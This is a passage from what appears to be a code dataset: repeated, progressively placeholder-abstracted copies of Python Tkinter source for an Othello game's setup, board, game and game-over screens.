Invalid_Move(self):\n showerror('Invalid Move', 'You cannot move there!')\n\n def Update_Board(self):\n for y in range(len(self.Board)):\n for x in range(len(self.Board[y])):\n game_piece = self.controller.Handler.Game.Board[y][x]\n if game_piece == None:\n pass\n elif game_piece == 'B':\n if self.Board[y][x].Current_Color != 'black':\n self.Board[y][x].Set_Piece_Color('black')\n elif game_piece == 'W':\n if self.Board[y][x].Current_Color != 'white':\n self.Board[y][x].Set_Piece_Color('white')\n\n def Update_Current_Player(self):\n self.Current_Player.config(text='Turn: ' + self.controller.\n Get_Current_Player())\n\n def Update_Game_Type(self):\n g_type = self.controller.Handler.Get_Game_Type()\n self.Game_Type.configure(text='Rules: ' + g_type)\n\n def Update_Score(self):\n b, w = self.controller.Handler.Get_Score()\n self.Score.configure(text='Black: {0!s} | {1!s} :White'.format(b, w))\n\n def Full_Update(self):\n self.Update_Score()\n self.Update_Current_Player()\n self.Update_Board()\n\n\nclass Postgame(tk.Frame):\n FrameName = 'Postgame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title = tk.Label(self, text='Game Over!', bg='white', font=\n FONTS['large'])\n self.Title.pack(side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n self.Winner = tk.Label(self, text='The winner is black-discs.', bg=\n 'white', font=FONTS['medium'])\n self.Winner.pack(side='top')\n self.Buttons = tk.Frame(self, bg='white')\n self.Buttons.pack()\n Replay = tk.Button(self.Buttons, text='Replay', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Replay())\n Replay.grid(row=0, column=0)\n Quit = tk.Button(self.Buttons, text='Quit', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Quit())\n Quit.grid(row=0, column=1)\n self.Board_Area = tk.Frame(self, bg='white')\n self.Board_Area.pack(side='bottom')\n self.Score = tk.Label(self.Board_Area, text='', bg='white', font=\n FONTS['medium'])\n self.Score.pack()\n self.Board_Display = tk.Frame(self.Board_Area, bg='green')\n self.Board_Display.pack()\n self.Board = []\n\n def Replay(self):\n self.controller.Replay()\n\n def Quit(self):\n self.controller.destroy()\n exit()\n\n def Update_Board(self):\n for widget in self.Board_Display.winfo_children():\n widget.destroy()\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n col = None\n place_col = self.controller.Handler.Game.Board[y][x]\n if place_col == 'B':\n col = 'black'\n elif place_col == 'W':\n col = 'white'\n disc = wg.Disc(self.Board_Display, self.controller, col=col,\n diameter=50)\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Update(self):\n winner, scores = self.controller.Handler.Get_Winner()\n if winner.lower() == 'b':\n winner = 'black-discs'\n elif winner.lower() == 'w':\n winner = 'white-discs'\n else:\n winner == 'no one'\n self.Winner.configure(text='The winner is ' + winner)\n self.Score.configure(text='Black: {0!s} | {1!s}:White'.format(\n scores[0], scores[1]))\n self.Update_Board()\n\n\n<code token>\n", "<import token>\n<assignment token>\n<class token>\n<class token>\n\n\nclass Pregame(tk.Frame):\n <assignment token>\n <function token>\n\n def __GUI_Reset__(self):\n for widget in self.winfo_children():\n widget.destroy()\n tk.Label(self, text='Otello', font=FONTS['large'], bg='white').pack(\n side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n rule_set_frame = tk.Frame(self, bg='white')\n rule_set_frame.pack(pady=10)\n self.rs_label = tk.Label(rule_set_frame, text='Rule Set', font=\n FONTS['medium'], bg='white')\n self.rs_label.pack(side='top')\n self.full_btn = tk.Button(rule_set_frame, text='FULL', font=FONTS[\n 'medium'], bg='#bbbbbb', command=lambda : self.Select_Rule_Set(\n 'full'))\n self.full_btn.pack()\n self.simple_btn = tk.Button(rule_set_frame, text='SIMPLE', font=\n FONTS['medium'], bg='#bbbbbb', command=lambda : self.\n Select_Rule_Set('simple'))\n self.simple_btn.pack()\n row_frame = tk.Frame(self, bg='white')\n row_frame.pack(pady=10)\n self.row_label = tk.Label(row_frame, text='Board Rows', font=FONTS[\n 'medium'], bg='white')\n self.row_label.grid(row=0, column=0, columnspan=7)\n self.Rows_Buttons = []\n place = 0\n for rows in [4, 6, 8, 10, 12, 14, 16]:\n x = tk.Button(row_frame, text=str(rows), font=FONTS['small'],\n bg='#bbbbbb', command=lambda rows=rows: self.Select_Rows(rows))\n x.grid(row=1, column=place)\n self.Rows_Buttons.append(x)\n place += 1\n col_frame = tk.Frame(self, bg='white')\n col_frame.pack(pady=10)\n self.col_label = tk.Label(col_frame, text='Board Columns', font=\n FONTS['medium'], bg='white')\n self.col_label.grid(row=0, column=0, columnspan=7)\n self.Cols_Buttons = []\n place = 0\n for cols in [4, 6, 8, 10, 12, 14, 16]:\n x = tk.Button(col_frame, text=str(cols), font=FONTS['small'],\n bg='#bbbbbb', command=lambda cols=cols: self.Select_Cols(cols))\n x.grid(row=1, column=place)\n self.Cols_Buttons.append(x)\n place += 1\n first_move_frame = tk.Frame(self, bg='white')\n first_move_frame.pack(pady=10)\n self.first_move_label = tk.Label(first_move_frame, text=\n 'First to move', bg='white', font=FONTS['medium'])\n self.first_move_label.grid(row=0, column=0, columnspan=2)\n self.black_btn = tk.Button(first_move_frame, text='Black', bg=\n '#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_First_Move('black'))\n self.black_btn.grid(row=1, column=0)\n self.white_btn = tk.Button(first_move_frame, text='White', bg=\n '#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_First_Move('white'))\n self.white_btn.grid(row=1, column=1)\n condition_frame = tk.Frame(self, bg='white')\n condition_frame.pack(pady=10)\n self.condition_label = tk.Label(condition_frame, text=\n 'The winner is, the player with..', bg='white', font=FONTS[\n 'medium'])\n self.condition_label.grid(row=0, column=0, columnspan=2)\n self.greater_score = tk.Button(condition_frame, text='more discs.',\n bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_Condition('>'))\n self.greater_score.grid(row=1, column=0)\n self.lesser_score = tk.Button(condition_frame, text='less discs.',\n bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_Condition('<'))\n self.lesser_score.grid(row=1, column=1)\n self.Start_Game_Btn = tk.Button(self, text='Start', bg='#ff2222',\n activebackground='#992222', font=FONTS['medium'])\n self.Start_Game_Btn.pack(side='bottom')\n\n def Select_Rule_Set(self, _set: str):\n if _set == 'simple':\n self.controller.Handler.GameParams['game_type'] = 1\n else:\n self.controller.Handler.GameParams['game_type'] = 2\n self.full_btn.destroy()\n self.simple_btn.destroy()\n self.rs_label.configure(text='Rule Set: ' + _set.upper())\n self.set_vals.append('rules')\n self.Check_Can_Start()\n\n def Select_Rows(self, rows: int):\n self.controller.Handler.GameParams['y_size'] = rows\n for button in self.Rows_Buttons:\n button.destroy()\n self.row_label.configure(text='Board Rows: ' + str(rows))\n self.set_vals.append('rows')\n self.Check_Can_Start()\n <function token>\n\n def Select_First_Move(self, mover: str):\n if mover == 'black':\n self.controller.Handler.GameParams['first_move'] = 'B'\n else:\n self.controller.Handler.GameParams['first_move'] = 'W'\n self.black_btn.destroy()\n self.white_btn.destroy()\n self.first_move_label.configure(text='First to move: ' + mover)\n self.set_vals.append('move')\n self.Check_Can_Start()\n <function token>\n <function token>\n <function token>\n\n\nclass Custom_Board(tk.Frame):\n FrameName = 'Setup_Board'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title_Frame = tk.Frame(self, bg='white')\n self.Title_Frame.pack(side='top', fill='x')\n tk.Label(self.Title_Frame, text='Create Custom Board', bg='white',\n font=FONTS['medium']).pack(side='left')\n start = tk.Button(self.Title_Frame, text='Play', bg='#22ff22',\n activebackground='#229922', font=FONTS['medium'], command=lambda :\n self.Start())\n start.pack(side='right')\n self.Use_Board = tk.IntVar()\n Use_Board = tk.Checkbutton(self.Title_Frame, text=\n 'Use custom board', font=FONTS['medium'], bg='white',\n activebackground='white', var=self.Use_Board, onvalue=1, offvalue=0\n )\n Use_Board.pack(side='right', padx=10)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def Setup_Board(self):\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n self.Board = []\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, mode='setup')\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Parse_Board(self) ->list:\n new_board = []\n for row in self.Board:\n new_row = []\n for disc in row:\n if disc.Current_Color == 'white':\n new_row.append('W')\n elif disc.Current_Color == 'black':\n new_row.append('B')\n else:\n new_row.append(None)\n new_board.append(new_row)\n return new_board\n\n def Instructions_Display(self):\n showinfo('How to use',\n 'Click on a tile to cycle between white, black or empty. Check the \"Use Custom Board\" box to use this board!'\n )\n\n def Start(self):\n if self.Use_Board.get():\n self.controller.Handler.GameParams['board'] = self.Parse_Board()\n self.controller.Begin_Game()\n self.controller.Pages['Game'].__GUI_init__()\n self.controller.Pages['Game'].Update_Board()\n self.controller.showPage('Game')\n\n\nclass Game(tk.Frame):\n FrameName = 'Game'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Status_Bar = tk.Frame(self, bg='white')\n self.Status_Bar.pack(side='top', fill='x')\n self.Status_Bar.grid_columnconfigure(0, weight=1)\n self.Status_Bar.grid_columnconfigure(1, weight=1)\n self.Status_Bar.grid_columnconfigure(2, weight=1)\n self.Status_Bar.grid_rowconfigure(0, weight=1)\n self.Current_Player = tk.Label(self.Status_Bar, text='None', bg=\n 'white', font=FONTS['medium'])\n self.Current_Player.grid(row=0, column=0)\n self.Game_Type = tk.Label(self.Status_Bar, text='FULL', bg='white',\n font=FONTS['medium'])\n self.Game_Type.grid(row=0, column=1)\n self.Score = tk.Label(self.Status_Bar, text='Black: 2 | 2:White',\n bg='white', font=FONTS['medium'])\n self.Score.grid(row=0, column=2)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def __GUI_init__(self):\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, command=lambda x=x, y=y: self.Disc_Function(x, y)\n )\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n self.Update_Board()\n\n def Reset_Game(self):\n self.Board = []\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n\n def Disc_Function(self, x: int, y: int):\n if not self.controller.Handler.Move(x + 1, y + 1):\n self.Invalid_Move()\n\n def Invalid_Move(self):\n showerror('Invalid Move', 'You cannot move there!')\n\n def Update_Board(self):\n for y in range(len(self.Board)):\n for x in range(len(self.Board[y])):\n game_piece = self.controller.Handler.Game.Board[y][x]\n if game_piece == None:\n pass\n elif game_piece == 'B':\n if self.Board[y][x].Current_Color != 'black':\n self.Board[y][x].Set_Piece_Color('black')\n elif game_piece == 'W':\n if self.Board[y][x].Current_Color != 'white':\n self.Board[y][x].Set_Piece_Color('white')\n\n def Update_Current_Player(self):\n self.Current_Player.config(text='Turn: ' + self.controller.\n Get_Current_Player())\n\n def Update_Game_Type(self):\n g_type = self.controller.Handler.Get_Game_Type()\n self.Game_Type.configure(text='Rules: ' + g_type)\n\n def Update_Score(self):\n b, w = self.controller.Handler.Get_Score()\n self.Score.configure(text='Black: {0!s} | {1!s} :White'.format(b, w))\n\n def Full_Update(self):\n self.Update_Score()\n self.Update_Current_Player()\n self.Update_Board()\n\n\nclass Postgame(tk.Frame):\n FrameName = 'Postgame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title = tk.Label(self, text='Game Over!', bg='white', font=\n FONTS['large'])\n self.Title.pack(side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n self.Winner = tk.Label(self, text='The winner is black-discs.', bg=\n 'white', font=FONTS['medium'])\n self.Winner.pack(side='top')\n self.Buttons = tk.Frame(self, bg='white')\n self.Buttons.pack()\n Replay = tk.Button(self.Buttons, text='Replay', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Replay())\n Replay.grid(row=0, column=0)\n Quit = tk.Button(self.Buttons, text='Quit', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Quit())\n Quit.grid(row=0, column=1)\n self.Board_Area = tk.Frame(self, bg='white')\n self.Board_Area.pack(side='bottom')\n self.Score = tk.Label(self.Board_Area, text='', bg='white', font=\n FONTS['medium'])\n self.Score.pack()\n self.Board_Display = tk.Frame(self.Board_Area, bg='green')\n self.Board_Display.pack()\n self.Board = []\n\n def Replay(self):\n self.controller.Replay()\n\n def Quit(self):\n self.controller.destroy()\n exit()\n\n def Update_Board(self):\n for widget in self.Board_Display.winfo_children():\n widget.destroy()\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n col = None\n place_col = self.controller.Handler.Game.Board[y][x]\n if place_col == 'B':\n col = 'black'\n elif place_col == 'W':\n col = 'white'\n disc = wg.Disc(self.Board_Display, self.controller, col=col,\n diameter=50)\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Update(self):\n winner, scores = self.controller.Handler.Get_Winner()\n if winner.lower() == 'b':\n winner = 'black-discs'\n elif winner.lower() == 'w':\n winner = 'white-discs'\n else:\n winner == 'no one'\n self.Winner.configure(text='The winner is ' + winner)\n self.Score.configure(text='Black: {0!s} | {1!s}:White'.format(\n scores[0], scores[1]))\n self.Update_Board()\n\n\n<code token>\n", "<import token>\n<assignment token>\n<class token>\n<class token>\n\n\nclass Pregame(tk.Frame):\n <assignment token>\n <function token>\n <function token>\n\n def Select_Rule_Set(self, _set: str):\n if _set == 'simple':\n self.controller.Handler.GameParams['game_type'] = 1\n else:\n self.controller.Handler.GameParams['game_type'] = 2\n self.full_btn.destroy()\n self.simple_btn.destroy()\n self.rs_label.configure(text='Rule Set: ' + _set.upper())\n self.set_vals.append('rules')\n self.Check_Can_Start()\n\n def Select_Rows(self, rows: int):\n self.controller.Handler.GameParams['y_size'] = rows\n for button in self.Rows_Buttons:\n button.destroy()\n self.row_label.configure(text='Board Rows: ' + str(rows))\n self.set_vals.append('rows')\n self.Check_Can_Start()\n <function token>\n\n def Select_First_Move(self, mover: str):\n if mover == 'black':\n self.controller.Handler.GameParams['first_move'] = 'B'\n else:\n self.controller.Handler.GameParams['first_move'] = 'W'\n self.black_btn.destroy()\n self.white_btn.destroy()\n self.first_move_label.configure(text='First to move: ' + mover)\n self.set_vals.append('move')\n self.Check_Can_Start()\n <function token>\n <function token>\n <function token>\n\n\nclass Custom_Board(tk.Frame):\n FrameName = 'Setup_Board'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title_Frame = tk.Frame(self, bg='white')\n self.Title_Frame.pack(side='top', fill='x')\n tk.Label(self.Title_Frame, text='Create Custom Board', bg='white',\n font=FONTS['medium']).pack(side='left')\n start = tk.Button(self.Title_Frame, text='Play', bg='#22ff22',\n activebackground='#229922', font=FONTS['medium'], command=lambda :\n self.Start())\n start.pack(side='right')\n self.Use_Board = tk.IntVar()\n Use_Board = tk.Checkbutton(self.Title_Frame, text=\n 'Use custom board', font=FONTS['medium'], bg='white',\n activebackground='white', var=self.Use_Board, onvalue=1, offvalue=0\n )\n Use_Board.pack(side='right', padx=10)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def Setup_Board(self):\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n self.Board = []\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, mode='setup')\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Parse_Board(self) ->list:\n new_board = []\n for row in self.Board:\n new_row = []\n for disc in row:\n if disc.Current_Color == 'white':\n new_row.append('W')\n elif disc.Current_Color == 'black':\n new_row.append('B')\n else:\n new_row.append(None)\n new_board.append(new_row)\n return new_board\n\n def Instructions_Display(self):\n showinfo('How to use',\n 'Click on a tile to cycle between white, black or empty. Check the \"Use Custom Board\" box to use this board!'\n )\n\n def Start(self):\n if self.Use_Board.get():\n self.controller.Handler.GameParams['board'] = self.Parse_Board()\n self.controller.Begin_Game()\n self.controller.Pages['Game'].__GUI_init__()\n self.controller.Pages['Game'].Update_Board()\n self.controller.showPage('Game')\n\n\nclass Game(tk.Frame):\n FrameName = 'Game'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Status_Bar = tk.Frame(self, bg='white')\n self.Status_Bar.pack(side='top', fill='x')\n self.Status_Bar.grid_columnconfigure(0, weight=1)\n self.Status_Bar.grid_columnconfigure(1, weight=1)\n self.Status_Bar.grid_columnconfigure(2, weight=1)\n self.Status_Bar.grid_rowconfigure(0, weight=1)\n self.Current_Player = tk.Label(self.Status_Bar, text='None', bg=\n 'white', font=FONTS['medium'])\n self.Current_Player.grid(row=0, column=0)\n self.Game_Type = tk.Label(self.Status_Bar, text='FULL', bg='white',\n font=FONTS['medium'])\n self.Game_Type.grid(row=0, column=1)\n self.Score = tk.Label(self.Status_Bar, text='Black: 2 | 2:White',\n bg='white', font=FONTS['medium'])\n self.Score.grid(row=0, column=2)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def __GUI_init__(self):\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, command=lambda x=x, y=y: self.Disc_Function(x, y)\n )\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n self.Update_Board()\n\n def Reset_Game(self):\n self.Board = []\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n\n def Disc_Function(self, x: int, y: int):\n if not self.controller.Handler.Move(x + 1, y + 1):\n self.Invalid_Move()\n\n def Invalid_Move(self):\n showerror('Invalid Move', 'You cannot move there!')\n\n def Update_Board(self):\n for y in range(len(self.Board)):\n for x in range(len(self.Board[y])):\n game_piece = self.controller.Handler.Game.Board[y][x]\n if game_piece == None:\n pass\n elif game_piece == 'B':\n if self.Board[y][x].Current_Color != 'black':\n self.Board[y][x].Set_Piece_Color('black')\n elif game_piece == 'W':\n if self.Board[y][x].Current_Color != 'white':\n self.Board[y][x].Set_Piece_Color('white')\n\n def Update_Current_Player(self):\n self.Current_Player.config(text='Turn: ' + self.controller.\n Get_Current_Player())\n\n def Update_Game_Type(self):\n g_type = self.controller.Handler.Get_Game_Type()\n self.Game_Type.configure(text='Rules: ' + g_type)\n\n def Update_Score(self):\n b, w = self.controller.Handler.Get_Score()\n self.Score.configure(text='Black: {0!s} | {1!s} :White'.format(b, w))\n\n def Full_Update(self):\n self.Update_Score()\n self.Update_Current_Player()\n self.Update_Board()\n\n\nclass Postgame(tk.Frame):\n FrameName = 'Postgame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title = tk.Label(self, text='Game Over!', bg='white', font=\n FONTS['large'])\n self.Title.pack(side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n self.Winner = tk.Label(self, text='The winner is black-discs.', bg=\n 'white', font=FONTS['medium'])\n self.Winner.pack(side='top')\n self.Buttons = tk.Frame(self, bg='white')\n self.Buttons.pack()\n Replay = tk.Button(self.Buttons, text='Replay', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Replay())\n Replay.grid(row=0, column=0)\n Quit = tk.Button(self.Buttons, text='Quit', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Quit())\n Quit.grid(row=0, column=1)\n self.Board_Area = tk.Frame(self, bg='white')\n self.Board_Area.pack(side='bottom')\n self.Score = tk.Label(self.Board_Area, text='', bg='white', font=\n FONTS['medium'])\n self.Score.pack()\n self.Board_Display = tk.Frame(self.Board_Area, bg='green')\n self.Board_Display.pack()\n self.Board = []\n\n def Replay(self):\n self.controller.Replay()\n\n def Quit(self):\n self.controller.destroy()\n exit()\n\n def Update_Board(self):\n for widget in self.Board_Display.winfo_children():\n widget.destroy()\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n col = None\n place_col = self.controller.Handler.Game.Board[y][x]\n if place_col == 'B':\n col = 'black'\n elif place_col == 'W':\n col = 'white'\n disc = wg.Disc(self.Board_Display, self.controller, col=col,\n diameter=50)\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Update(self):\n winner, scores = self.controller.Handler.Get_Winner()\n if winner.lower() == 'b':\n winner = 'black-discs'\n elif winner.lower() == 'w':\n winner = 'white-discs'\n else:\n winner == 'no one'\n self.Winner.configure(text='The winner is ' + winner)\n self.Score.configure(text='Black: {0!s} | {1!s}:White'.format(\n scores[0], scores[1]))\n self.Update_Board()\n\n\n<code token>\n", "<import token>\n<assignment token>\n<class token>\n<class token>\n\n\nclass Pregame(tk.Frame):\n <assignment token>\n <function token>\n <function token>\n\n def Select_Rule_Set(self, _set: str):\n if _set == 'simple':\n self.controller.Handler.GameParams['game_type'] = 1\n else:\n self.controller.Handler.GameParams['game_type'] = 2\n self.full_btn.destroy()\n self.simple_btn.destroy()\n self.rs_label.configure(text='Rule Set: ' + _set.upper())\n self.set_vals.append('rules')\n self.Check_Can_Start()\n\n def Select_Rows(self, rows: int):\n self.controller.Handler.GameParams['y_size'] = rows\n for button in self.Rows_Buttons:\n button.destroy()\n self.row_label.configure(text='Board Rows: ' + str(rows))\n self.set_vals.append('rows')\n self.Check_Can_Start()\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n\nclass Custom_Board(tk.Frame):\n FrameName = 'Setup_Board'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title_Frame = tk.Frame(self, bg='white')\n self.Title_Frame.pack(side='top', fill='x')\n tk.Label(self.Title_Frame, text='Create Custom Board', bg='white',\n font=FONTS['medium']).pack(side='left')\n start = tk.Button(self.Title_Frame, text='Play', bg='#22ff22',\n activebackground='#229922', font=FONTS['medium'], command=lambda :\n self.Start())\n start.pack(side='right')\n self.Use_Board = tk.IntVar()\n Use_Board = tk.Checkbutton(self.Title_Frame, text=\n 'Use custom board', font=FONTS['medium'], bg='white',\n activebackground='white', var=self.Use_Board, onvalue=1, offvalue=0\n )\n Use_Board.pack(side='right', padx=10)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def Setup_Board(self):\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n self.Board = []\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, mode='setup')\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Parse_Board(self) ->list:\n new_board = []\n for row in self.Board:\n new_row = []\n for disc in row:\n if disc.Current_Color == 'white':\n new_row.append('W')\n elif disc.Current_Color == 'black':\n new_row.append('B')\n else:\n new_row.append(None)\n new_board.append(new_row)\n return new_board\n\n def Instructions_Display(self):\n showinfo('How to use',\n 'Click on a tile to cycle between white, black or empty. Check the \"Use Custom Board\" box to use this board!'\n )\n\n def Start(self):\n if self.Use_Board.get():\n self.controller.Handler.GameParams['board'] = self.Parse_Board()\n self.controller.Begin_Game()\n self.controller.Pages['Game'].__GUI_init__()\n self.controller.Pages['Game'].Update_Board()\n self.controller.showPage('Game')\n\n\nclass Game(tk.Frame):\n FrameName = 'Game'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Status_Bar = tk.Frame(self, bg='white')\n self.Status_Bar.pack(side='top', fill='x')\n self.Status_Bar.grid_columnconfigure(0, weight=1)\n self.Status_Bar.grid_columnconfigure(1, weight=1)\n self.Status_Bar.grid_columnconfigure(2, weight=1)\n self.Status_Bar.grid_rowconfigure(0, weight=1)\n self.Current_Player = tk.Label(self.Status_Bar, text='None', bg=\n 'white', font=FONTS['medium'])\n self.Current_Player.grid(row=0, column=0)\n self.Game_Type = tk.Label(self.Status_Bar, text='FULL', bg='white',\n font=FONTS['medium'])\n self.Game_Type.grid(row=0, column=1)\n self.Score = tk.Label(self.Status_Bar, text='Black: 2 | 2:White',\n bg='white', font=FONTS['medium'])\n self.Score.grid(row=0, column=2)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def __GUI_init__(self):\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, command=lambda x=x, y=y: self.Disc_Function(x, y)\n )\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n self.Update_Board()\n\n def Reset_Game(self):\n self.Board = []\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n\n def Disc_Function(self, x: int, y: int):\n if not self.controller.Handler.Move(x + 1, y + 1):\n self.Invalid_Move()\n\n def Invalid_Move(self):\n showerror('Invalid Move', 'You cannot move there!')\n\n def Update_Board(self):\n for y in range(len(self.Board)):\n for x in range(len(self.Board[y])):\n game_piece = self.controller.Handler.Game.Board[y][x]\n if game_piece == None:\n pass\n elif game_piece == 'B':\n if self.Board[y][x].Current_Color != 'black':\n self.Board[y][x].Set_Piece_Color('black')\n elif game_piece == 'W':\n if self.Board[y][x].Current_Color != 'white':\n self.Board[y][x].Set_Piece_Color('white')\n\n def Update_Current_Player(self):\n self.Current_Player.config(text='Turn: ' + self.controller.\n Get_Current_Player())\n\n def Update_Game_Type(self):\n g_type = self.controller.Handler.Get_Game_Type()\n self.Game_Type.configure(text='Rules: ' + g_type)\n\n def Update_Score(self):\n b, w = self.controller.Handler.Get_Score()\n self.Score.configure(text='Black: {0!s} | {1!s} :White'.format(b, w))\n\n def Full_Update(self):\n self.Update_Score()\n self.Update_Current_Player()\n self.Update_Board()\n\n\nclass Postgame(tk.Frame):\n FrameName = 'Postgame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title = tk.Label(self, text='Game Over!', bg='white', font=\n FONTS['large'])\n self.Title.pack(side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n self.Winner = tk.Label(self, text='The winner is black-discs.', bg=\n 'white', font=FONTS['medium'])\n self.Winner.pack(side='top')\n self.Buttons = tk.Frame(self, bg='white')\n 